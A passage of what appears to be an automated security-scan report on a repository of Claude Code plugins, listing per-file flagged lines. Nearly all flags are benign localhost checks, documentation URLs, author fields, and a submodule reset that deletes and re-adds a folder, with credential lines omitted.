    - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` </success_criteria>
  • Network accessline 160
    - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/switch-mode.md

  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 92
    # 2. Test at http://localhost:7007
  • Network accessline 130
    - [ ] `rhdh-local/` git status is clean (`git status` shows no modified files) - [ ] RHDH starts at `http://localhost:7007` with Guest login
  • Network accessline 131
    - [ ] RHDH starts at `http://localhost:7007` with Guest login

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh-local/workflows/test-plugin.md

  • Network accessline 73
    1. Open `http://localhost:7007` - Login as Guest
  • Network accessline 83
    curl http://localhost:7007/api/<plugin>/health

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/references/rhdh-repos.md

  • Network accessline 9
    - **Upstream:** <https://github.com/redhat-developer/rhdh>
  • Network accessline 11
    - **Tech stack:** Node.js 22, TypeScript, React, Yarn 4, Turbo monorepo - **Key concepts:**   - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module l
  • Network accessline 12
    - **Key concepts:**   - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoo
  • Network accessline 13
    - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoot>` which fetches plug
  • Network accessline 23
    - **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh>
  • Network accessline 29
    - **Upstream:** <https://github.com/redhat-developer/rhdh-cli>
  • Network accessline 43
    - **Upstream:** <https://github.com/redhat-developer/rhdh-local>
  • Network accessline 57
    - **Upstream:** <https://github.com/redhat-developer/rhdh-operator>
  • Network accessline 72
    - **Upstream:** <https://github.com/redhat-developer/rhdh-chart>
  • Network accessline 85
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-overlays>
  • Network accessline 98
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-utils>
  • Network accessline 111
    - **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh-plugin-catalog>
  • Network accessline 125
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugins>
  • Network accessline 139
    - **Upstream:** <https://github.com/redhat-developer/rhdh-dynamic-plugin-factory>
  • Network accessline 149
    - **Upstream:** <https://github.com/backstage/backstage>

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/references/slack-notification.md

  • Network accessline 109
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1234
  • Network accessline 125
    Priority: Add plugin configuration to enable smoke tests See: https://github.com/.../README.md#smoke-test-config
  • Network accessline 126
    See: https://github.com/.../README.md#smoke-test-config
  • Network accessline 128
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1235
  • Network accessline 143
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1236

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/references/versions.md

  • Network accessline 19
    Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0)
  • Network accessline 53
    Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0)
  • Network accessline 87
    Based on [Backstage 1.42.5](https://backstage.io/docs/releases/v1.42.0)
  • Network accessline 121
    Based on [Backstage 1.39.1](https://backstage.io/docs/releases/v1.39.0)
  • Network accessline 155
    Based on [Backstage 1.36.1](https://backstage.io/docs/releases/v1.36.0)
  • Network accessline 193
    Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/app/package.json) in the `app` package.
  • Network accessline 197
    Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/backend/package.json) in the `backend` package.
  • Network accessline 210
    Check the [Version Matrix](https://github.com/redhat-developer/rhdh/blob/main/docs/dynamic-plugins/versions.md) for specific CLI versions if needed.

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/__init__.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/__main__.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/cli.py

  • Executable scriptline 1
    Executable file
  • Network accessline 152
    checks.append({"name": "gh_cli", "status": "fail", "message": "not installed"})         fmt.log_fail("gh CLI: not installed")         next_steps.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 154
    next_steps.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 296
    checks.append({"name": "gh_installed", "status": "fail", "message": "not installed"})         fmt.log_fail("gh CLI not installed")         issues.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 298
    issues.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 404
    rhdh_running = False         try:             with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 405
    try:             with socket.create_connection(("localhost", 7007), timeout=1):                 rhdh_running = True
  • Network accessline 406
    with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 411
    if rhdh_running:             checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"})             fmt.log_ok("  RHDH: running on http://localhost:7007")
  • Network accessline 412
    checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"})             fmt.log_ok("  RHDH: running on http://localhost:7007")         else:
  • Network accessline 413
    fmt.log_ok("  RHDH: running on http://localhost:7007")

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/config.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 400
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 474
    [Credential-related source omitted]
  • Dangerous shell operationline 922
    [f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],
  • Dangerous shell operationline 928
    [f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/formatters.py

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    BLUE = "\033[0;34m" BOLD = "\033[1m" NC = "\033[0m"  # No Color
  • Network accessline 36
    NC = "\033[0m"  # No Color

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/todo.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/worklog.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/rhdh/workspace.py

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/red-hat-developer-hub/skills/rhdh/scripts/rhdh

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/release-notes-showcase/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Kayla Cinnamon",     "url": "https://github.com/cinnamon-msft"
  • Network accessline 6
    "name": "Kayla Cinnamon",     "url": "https://github.com/cinnamon-msft"   },
  • Network accessline 7
    "url": "https://github.com/cinnamon-msft"

harness/claude-code/plugins/repo-actions-hub/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"
  • Network accessline 6
    "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"   },
  • Network accessline 7
    "url": "https://github.com/jamesmontemagno"

harness/claude-code/plugins/repo-documentation/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/repo-documentation/skills/add-educational-comments/SKILL.md

  • Network accessline 50
    | Line Number Referencing | `yes/no` | `yes` | Prefix each new comment with `Note <number>` when `yes`. | | Nest Comments | `yes/no` | `yes` | Indent comments inside code blocks when language syntax requires it. | | Fetch List | URL list | 
  • Network accessline 52
    | Fetch List | URL list | `https://peps.python.org/pep-0263/` | Optional authoritative references for language-specific constraints. |
  • Network accessline 156
    - [PEP 263: Defining Python Source Code Encodings](https://peps.python.org/pep-0263/)

harness/claude-code/plugins/repo-documentation/skills/convert-plaintext-to-md/SKILL.md

  • Network accessline 166
    - [GitHub basic writing and formatting syntax](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
  • Network accessline 167
    - [Markdown Guide extended syntax](https://www.markdownguide.org/extended-syntax/)
  • Network accessline 168
    - [Azure DevOps Markdown guidance](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops)

harness/claude-code/plugins/repo-documentation/skills/create-agentsmd/SKILL.md

  • Network accessline 19
    - "Generate coding agent instructions for my project." - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/."
  • Network accessline 20
    - "Update our AGENTS.md using the current repo structure." - "Make this repo follow https://agents.md/." - "Document setup and test commands for agents."
  • Network accessline 21
    - "Make this repo follow https://agents.md/."
  • Network accessline 26
    - The target file is `AGENTS.md` at the repository root unless a monorepo subproject needs a closer nested `AGENTS.md`. - Follow the open AGENTS.md format at `https://agents.md/.`.
  • Network accessline 27
    - Follow the open AGENTS.md format at `https://agents.md/.`.
  • Network accessline 194
    - [AGENTS.md](https://agents.md/.)

harness/claude-code/plugins/repo-documentation/skills/create-llms/SKILL.md

  • Network accessline 4
    Create a new repository-root llms.txt file from repository structure and documentation according   to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation,   document repository structure for LLMs, or a
  • Network accessline 5
    to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation,   document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/. metadata:
  • Network accessline 6
    document repository structure for LLMs, or add an llms.txt compliant with https://llmstxt.org/.
  • Network accessline 27
    - No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `
  • Network accessline 29
    - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks.
  • Network accessline 144
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 145
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/claude-code/plugins/repo-documentation/skills/create-readme/SKILL.md

  • Network accessline 58
    | Source | Useful pattern | | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. |
  • Network accessline 59
    | --- | --- | | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. | | `https://raw.githubusercontent.com/Azure-Samples/server
  • Network accessline 60
    | `https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md` | Clear cloud sample overview and deployment-oriented setup. |
  • Network accessline 61
    | `https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md` | Practical sample structure and concise usage flow. |
  • Network accessline 62
    | `https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md` | Compact tool positioning and example-first usage. |
  • Network accessline 63
    | `https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md` | Short, appealing project introduction and focused commands. |
  • Network accessline 64
    | `https://github.com/orgs/community/discussions/16925` | GitHub admonition syntax reference. |
  • Network accessline 138
    - [Azure Samples serverless chat README](https://raw.githubusercontent.com/Azure-Samples/serverless-chat-langchainjs/refs/heads/main/README.md)
  • Network accessline 139
    - [Azure Samples serverless recipes README](https://raw.githubusercontent.com/Azure-Samples/serverless-recipes-javascript/refs/heads/main/README.md)
  • Network accessline 140
    - [run-on-output README](https://raw.githubusercontent.com/sinedied/run-on-output/refs/heads/main/README.md)
  • Network accessline 141
    - [smoke README](https://raw.githubusercontent.com/sinedied/smoke/refs/heads/main/README.md)
  • Network accessline 142
    - [GitHub admonition syntax discussion](https://github.com/orgs/community/discussions/16925)

harness/claude-code/plugins/repo-documentation/skills/create-tldr-page/SKILL.md

  • Network accessline 18
    - "Generate a concise command reference from this manual page." - "Turn this --help output and upstream URL into a tldr page." - "Write a tldr-pages style page for git from https://git-scm.com/docs/git."
  • Network accessline 20
    - "Write a tldr-pages style page for git from https://git-scm.com/docs/git."
  • Network accessline 74
    /create-tldr-page https://some-command.io/docs/manual.html
  • Network accessline 98
    1. https://gnu.org/software/manual/html_node/some-command.html
  • Network accessline 99
    2. https://some.org/serve/some.man.html#some-command
  • Network accessline 100
    3. https://some-command.io/docs/cli/latest/manual
  • Network accessline 101
    4. https://some-command.io/docs/quickstart
  • Network accessline 113
    > Short, snappy description. > Some subcommands such as `subcommand1` have their own usage documentation. > More information: <https://url-to-upstream.tld>.
  • Network accessline 115
    > More information: <https://url-to-upstream.tld>.
  • Network accessline 141
    * [git](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md)
  • Network accessline 142
    * [distrobox-create](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md)
  • Network accessline 143
    * [nmcli](https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md)
  • Network accessline 150
    /create-tldr-page #fetch https://git-scm.com/docs/git git
  • Network accessline 158
    > Distributed version control system. > Some subcommands such as `commit`, `add`, `branch`, `switch`, `push`, etc. have their own usage documentation. > More information: <https://git-scm.com/docs/git>.
  • Network accessline 160
    > More information: <https://git-scm.com/docs/git>.
  • Network accessline 168
    `git clone {{https://example.com/repo.git}}`
  • Network accessline 218
    - Example: `{{device_name}}`, `{{chip_name}}`, `{{repository_url}}`   - Example: `{{path/to/file}}` for file paths   - Example: `{{https://example.com}}` for URLs
  • Network accessline 220
    - Example: `{{https://example.com}}` for URLs
  • Network accessline 254
    - https://git-scm.com/docs/git
  • Network accessline 255
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/common/git.md
  • Network accessline 256
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/distrobox-create.md
  • Network accessline 257
    - https://raw.githubusercontent.com/jhauga/tldr/refs/heads/main/pages/linux/nmcli.md

harness/claude-code/plugins/repo-documentation/skills/documentation-writer/SKILL.md

  • Network accessline 95
    - [Diátaxis framework](https://diataxis.fr/)

harness/claude-code/plugins/repo-documentation/skills/tldr-prompt/SKILL.md

  • Network accessline 46
    | URLs supplied without explicit fetch syntax | Fetch all supplied URLs. | | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search 
  • Network accessline 47
    | More than five files or URLs | Summarize the first five and list the rest as not processed. | | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.c
  • Network accessline 48
    | Query about prompts, agents, instructions, or collections | Search the workspace first for `prompt file`, `.agent.md`, `.instructions.md`, `.collections.md`; if no relevant files exist, check https://github.com/github/awesome-copilot and 
  • Network accessline 49
    | Query about MCP servers | Prefer https://modelcontextprotocol.io/ and <https://code.visualstudio.com/docs/agent-customization/mcp-servers>. |
  • Network accessline 50
    | Query about inline chat or Ctrl+I | Prefer <https://code.visualstudio.com/docs/chat/inline-chat>. |
  • Network accessline 51
    | Query about chat view or chat tools | Prefer <https://code.visualstudio.com/docs/chat/chat-overview>. |
  • Network accessline 52
    | General GitHub Copilot query | Prefer https://code.visualstudio.com/docs/agents/overview or <https://docs.github.com/en/copilot/>. |
  • Network accessline 54
    When resolving through awesome-copilot, fetch <https://raw.githubusercontent.com/github/awesome-copilot/main/README.md> first, then convert relevant repository links such as <https://github.com/github/awesome-copilot/blob/main/instructions/
  • Network accessline 126
    You MUST provide one of the following: 1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}}
  • Network accessline 127
    1. A Copilot file: /tldr-prompt #file:{{name.prompt[.]md | name.agent.md | name.instructions.md | name.collections.md}} 2. A URL: /tldr-prompt #fetch {{https://example.com/docs}} 3. A search query: /tldr-prompt "{{topic}}" (e.g., "MCP serve
  • Network accessline 128
    2. A URL: /tldr-prompt #fetch {{https://example.com/docs}}
  • Network accessline 146
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 147
    - [VS Code MCP servers](https://code.visualstudio.com/docs/agent-customization/mcp-servers)
  • Network accessline 148
    - [VS Code agents overview](https://code.visualstudio.com/docs/agents/overview)
  • Network accessline 149
    - [VS Code chat overview](https://code.visualstudio.com/docs/chat/chat-overview)
  • Network accessline 150
    - [VS Code inline chat](https://code.visualstudio.com/docs/chat/inline-chat)
  • Network accessline 151
    - [GitHub Copilot documentation](https://docs.github.com/en/copilot/)
  • Network accessline 152
    - [Awesome Copilot](https://github.com/github/awesome-copilot)
  • Network accessline 153
    - [Awesome Copilot raw file pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/{folder}/{filename})
  • Network accessline 154
    - [Awesome Copilot README raw](https://raw.githubusercontent.com/github/awesome-copilot/main/README.md)

harness/claude-code/plugins/repo-documentation/skills/update-llms/SKILL.md

  • Network accessline 5
    examples, configuration, and repository structure. Use when users ask to update llms.txt,   refresh LLM navigation, fix stale llms links, or keep llms.txt compliant with   https://llmstxt.org/.
  • Network accessline 6
    refresh LLM navigation, fix stale llms links, or keep llms.txt compliant with   https://llmstxt.org/. metadata:
  • Network accessline 7
    https://llmstxt.org/.
  • Network accessline 28
    - An existing `/llms.txt` at the repository root. - Repository read access to current docs, specs, examples, and configuration. - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llm
  • Network accessline 30
    - The official llms.txt specification at `https://llmstxt.org/` and preserved baseline URL spelling `https://llmstxt.org/.`.
  • Network accessline 142
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 143
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/claude-code/plugins/repo-documentation/skills/write-coding-standards-from-file/SKILL.md

  • Network accessline 77
    Keep these original configuration labels recognizable when translating older requests: `boolean`, `string[]`, `string`, `object`, `quasi-configuration`, `as-is`, `and/or`, ` or `, `top-level`, `well-known`, `line-breaks`, `${fileName}`, `${
  • Network accessline 98
    | Language or ecosystem | URL | | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` |
  • Network accessline 99
    | --- | --- | | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` | | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` |
  • Network accessline 100
    | C Style Guide | `https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html` |
  • Network accessline 101
    | C# Style Guide | `https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions` |
  • Network accessline 102
    | C++ Style Guide | `https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines` |
  • Network accessline 103
    | Go Style Guide | `https://github.com/golang-standards/project-layout` |
  • Network accessline 104
    | Java Style Guide | `https://coderanch.com/wiki/718799/Style` |
  • Network accessline 105
    | AngularJS App Style Guide | `https://github.com/mgechev/angularjs-style-guide` |
  • Network accessline 106
    | jQuery Style Guide | `https://contribute.jquery.org/style-guide/js/` |
  • Network accessline 107
    | JavaScript Style Guide | `https://www.w3schools.com/js/js_conventions.asp` |
  • Network accessline 108
    | JSON Style Guide | `https://google.github.io/styleguide/jsoncstyleguide.xml` |
  • Network accessline 109
    | Kotlin Style Guide | `https://kotlinlang.org/docs/coding-conventions.html` |
  • Network accessline 110
    | Markdown Style Guide | `https://cirosantilli.com/markdown-style-guide/` |
  • Network accessline 111
    | Perl Style Guide | `https://perldoc.perl.org/perlstyle` |
  • Network accessline 112
    | PHP Style Guide | `https://phptherightway.com/` |
  • Network accessline 113
    | Python Style Guide | `https://peps.python.org/pep-0008/` |
  • Network accessline 114
    | Ruby Style Guide | `https://rubystyle.guide/` |
  • Network accessline 115
    | Rust Style Guide | `https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src` |
  • Network accessline 116
    | Swift Style Guide | `https://www.swift.org/documentation/api-design-guidelines/` |
  • Network accessline 117
    | TypeScript Style Guide | `https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html` |
  • Network accessline 118
    | Visual Basic Style Guide | `https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards` |
  • Network accessline 119
    | Shell Script Style Guide | `https://google.github.io/styleguide/shellguide.html` |
  • Network accessline 120
    | Git Usage Style Guide | `https://github.com/agis/git-style-guide` |
  • Network accessline 121
    | PowerShell Style Guide | `https://github.com/PoshCode/PowerShellPracticeAndStyle` |
  • Network accessline 122
    | CSS | `https://cssguidelin.es/` |
  • Network accessline 123
    | Sass Style Guide | `https://sass-guidelin.es/` |
  • Network accessline 124
    | HTML Style Guide | `https://github.com/marcobiedermann/html-style-guide` |
  • Network accessline 125
    | Linux kernel Style Guide | `https://www.kernel.org/doc/html/latest/process/coding-style.html` |
  • Network accessline 126
    | Node.js Style Guide | `https://github.com/felixge/node-style-guide` |
  • Network accessline 127
    | SQL Style Guide | `https://www.sqlstyle.guide/` |
  • Network accessline 128
    | Angular Style Guide | `https://angular.dev/style-guide` |
  • Network accessline 129
    | Vue Style Guide | `https://vuejs.org/style-guide/rules-strongly-recommended.html` |
  • Network accessline 130
    | Django Style Guide | `https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/` |
  • Network accessline 131
    | SystemVerilog Style Guide | `https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md` |
  • Network accessline 273
    - [C Style Guide](https://users.ece.cmu.edu/~eno/coding/CCodingStandard.html)
  • Network accessline 274
    - [C# Style Guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions)
  • Network accessline 275
    - [C++ Style Guide](https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines)
  • Network accessline 276
    - [Go Style Guide](https://github.com/golang-standards/project-layout)
  • Network accessline 277
    - [Java Style Guide](https://coderanch.com/wiki/718799/Style)
  • Network accessline 278
    - [AngularJS App Style Guide](https://github.com/mgechev/angularjs-style-guide)
  • Network accessline 279
    - [jQuery Style Guide](https://contribute.jquery.org/style-guide/js/)
  • Network accessline 280
    - [JavaScript Style Guide](https://www.w3schools.com/js/js_conventions.asp)
  • Network accessline 281
    - [JSON Style Guide](https://google.github.io/styleguide/jsoncstyleguide.xml)
  • Network accessline 282
    - [Kotlin Style Guide](https://kotlinlang.org/docs/coding-conventions.html)
  • Network accessline 283
    - [Markdown Style Guide](https://cirosantilli.com/markdown-style-guide/)
  • Network accessline 284
    - [Perl Style Guide](https://perldoc.perl.org/perlstyle)
  • Network accessline 285
    - [PHP Style Guide](https://phptherightway.com/)
  • Network accessline 286
    - [Python Style Guide](https://peps.python.org/pep-0008/)
  • Network accessline 287
    - [Ruby Style Guide](https://rubystyle.guide/)
  • Network accessline 288
    - [Rust Style Guide](https://github.com/rust-lang/rust/tree/HEAD/src/doc/style-guide/src)
  • Network accessline 289
    - [Swift Style Guide](https://www.swift.org/documentation/api-design-guidelines/)
  • Network accessline 290
    - [TypeScript Style Guide](https://www.typescriptlang.org/docs/handbook/declaration-files/do-s-and-don-ts.html)
  • Network accessline 291
    - [Visual Basic Style Guide](https://en.wikibooks.org/wiki/Visual_Basic/Coding_Standards)
  • Network accessline 292
    - [Shell Script Style Guide](https://google.github.io/styleguide/shellguide.html)
  • Network accessline 293
    - [Git Usage Style Guide](https://github.com/agis/git-style-guide)
  • Network accessline 294
    - [PowerShell Style Guide](https://github.com/PoshCode/PowerShellPracticeAndStyle)
  • Network accessline 295
    - [CSS](https://cssguidelin.es/)
  • Network accessline 296
    - [Sass Style Guide](https://sass-guidelin.es/)
  • Network accessline 297
    - [HTML Style Guide](https://github.com/marcobiedermann/html-style-guide)
  • Network accessline 298
    - [Linux kernel Style Guide](https://www.kernel.org/doc/html/latest/process/coding-style.html)
  • Network accessline 299
    - [Node.js Style Guide](https://github.com/felixge/node-style-guide)
  • Network accessline 300
    - [SQL Style Guide](https://www.sqlstyle.guide/)
  • Network accessline 301
    - [Angular Style Guide](https://angular.dev/style-guide)
  • Network accessline 302
    - [Vue Style Guide](https://vuejs.org/style-guide/rules-strongly-recommended.html)
  • Network accessline 303
    - [Django Style Guide](https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/)
  • Network accessline 304
    - [SystemVerilog Style Guide](https://github.com/lowRISC/style-guides/blob/master/VerilogCodingStyle.md)

harness/claude-code/plugins/roundup/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/ruby-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/ruby-mcp-development/skills/ruby-mcp-server-generator/references/project-templates.md

  • Network accessline 8
    source 'https://rubygems.org'

harness/claude-code/plugins/rug-agentic-workflow/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/rust-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/salesforce-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "TemitayoAfolabi"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/security-best-practices/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/signals-dashboard/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "jennyf19",     "url": "https://github.com/jennyf19"
  • Network accessline 6
    "name": "jennyf19",     "url": "https://github.com/jennyf19"   },
  • Network accessline 7
    "url": "https://github.com/jennyf19"

harness/claude-code/plugins/site-studio/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "Ayan Gupta",     "url": "https://github.com/ayangupt"
  • Network accessline 6
    "name": "Ayan Gupta",     "url": "https://github.com/ayangupt"   },
  • Network accessline 7
    "url": "https://github.com/ayangupt"

harness/claude-code/plugins/skill-image-gen/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "adamd9",     "url": "https://github.com/adamd9"
  • Network accessline 6
    "name": "adamd9",     "url": "https://github.com/adamd9"   },
  • Network accessline 7
    "url": "https://github.com/adamd9"
  • Network accessline 8
    },   "homepage": "https://github.com/adamd9/skill-image-gen",   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 9
    "homepage": "https://github.com/adamd9/skill-image-gen",
  • Network accessline 10
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/skill-image-gen/skills/generate-image/SKILL.md

  • Network accessline 54
    | Provider | Model | Best for | Key URL | | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys |
  • Network accessline 55
    | --- | --- | --- | --- | | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys | | Google Gemini | Nano Banana / Gemini image models | Fast iterati
  • Network accessline 56
    | OpenAI | `gpt-image-2` | High quality, polished visuals, stronger text rendering, paid image generation. | https://platform.openai.com/api-keys |
  • Network accessline 57
    | Google Gemini | Nano Banana / Gemini image models | Fast iteration, free tier availability, visual drafts and variations. | https://aistudio.google.com/apikey |
  • Access to secretsline 59
    [Credential-related source omitted]
  • Network accessline 64
    | --- | --- | | Method | `POST` | | URL | `https://api.openai.com/v1/images/generations` |
  • Network accessline 65
    [Credential-related source omitted]
  • Network accessline 66
    | URL | `https://api.openai.com/v1/images/generations` |
  • Network accessline 90
    | --- | --- | | Method | `POST` | | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` |
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 92
    | URL shape | `https://ai.google.dev/gemini-api/docs/models<model>:generateContent` |
  • Network accessline 173
    - [OpenAI API keys](https://platform.openai.com/api-keys)
  • Network accessline 174
    - [Google AI Studio API keys](https://aistudio.google.com/apikey)

